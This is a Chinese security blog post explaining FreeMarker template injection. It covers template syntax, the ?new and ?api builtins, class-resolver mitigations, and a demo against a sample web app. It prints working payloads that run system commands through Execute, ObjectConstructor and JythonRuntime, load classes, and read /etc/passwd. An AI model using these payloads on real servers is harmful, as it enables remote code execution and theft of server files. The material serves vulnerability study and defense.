FreeMarker模板注入原理分析

admin 2024年7月6日17:34:22评论4 views字数 3389阅读11分17秒阅读模式

点击蓝字,关注我们

一、FreeMarker是什么

FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

模板编写为FreeMarker Template Language (FTL)。 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

FreeMarker模板注入原理分析

它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。

二、FreeMarker语法

FreeMarker将动态的数据通过EL表达式(即所谓的插值)获取。当访问模板的时候,将JAVA中获取到的数据替换掉。

<html>
<head>
  <title>Welcome!</title>
</head>
<body>
  <h1>Welcome ${user}!</h1>
  <p>Our latest product:
  <a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>

三、FreeMarker指令

assign自定义变量指令

使用assign指令你可以创建一个新的变量,或者替换一个已经存在的变量。

<--
#assign自定义变量指令
 语法:
  <#assign变量名=>




  <#assign变量名=值变量名=值>(定义多个变量)
-->
<#assign str="hello">
${str} <br>
<#assign num=l names=["zhangsan","lisi","wangwu"] >
${num} -- ${names?join(",")}

四、内建函数

主要关注以下几个内建函数。相关官方文档:http://freemarker.foofun.cn/ref_builtins_expert.html

new

这是用来创建一个确定的 TemplateModel 实现变量的内建函数,也就是说new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的变量。利用这一点能达到执行任意代码的目的。

Execute、ObjectConstructor、JythonRuntime这三个类都继承了TemplateModel,且都可以执行命令。就是较低版本FreeMarker模板注入的根因。

FreeMarker模板注入原理分析
FreeMarker模板注入原理分析
FreeMarker模板注入原理分析

? 的左边你可以指定一个字符串, 是 TemplateModel 实现类的完全限定名。 结果是调用构造方法生成一个方法变量,然后将新变量返回。

模板作者可以创建任意的Java对象,只要它们实现了 TemplateModel 接口,然后来使用这些对象。 而且模板作者可以触发没有实现 TemplateModel 接口的类的静态初始化块。

根据以上知识可构造出下面的POC:

<#-- 通过调用类的函数创建用户定义的指令 -->
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:

  • UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
  • SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。
  • ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析。

api

api内建函数并不能随意使用,必须在配置项api_builtin_enabled为true时才有效,而该配置在2.3.22版本之后默认为false

如果value本身支持这个额外的特性, value?api 提供访问 value 的API (通常是 Java API),比如 value?api.someJavaMethod()

常见的两种利用方式:

1、通过内建函数api获取类的classloader然后加载恶意类

2、通过Class.getResource的返回值来访问URI对象。URI对象包含toURL和create方法,通过这两个方法创建任意URI,然后用toURL访问任意URL。

POC :

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("calc)}

任意文件读取的 POC 如下:

<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

五、案例演示

漏洞触发点为模版输入的参数。

FreeMarker模板注入原理分析

漏洞触发点为渲染后的内容:

FreeMarker模板注入原理分析

访问/hello接口构造数据包,为正常的渲染内容。

FreeMarker模板注入原理分析

访问/template接口构造POC:

FreeMarker模板注入原理分析

这里就是重新渲染了hello.ftl,接着访问/hello,成功执行命令。

FreeMarker模板注入原理分析

代码获取

链接:https://pan.baidu.com/s/14fc6HRiZs12CXfTlLk6JjA?pwd=5vnv 提取码:5vnv
链接失效请公众号后台留言联系我更新

原文始发于微信公众号(TimeAxis Sec):FreeMarker模板注入原理分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月6日17:34:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FreeMarker模板注入原理分析https://cn-sec.com/archives/2926674.html

发表评论

匿名网友 填写信息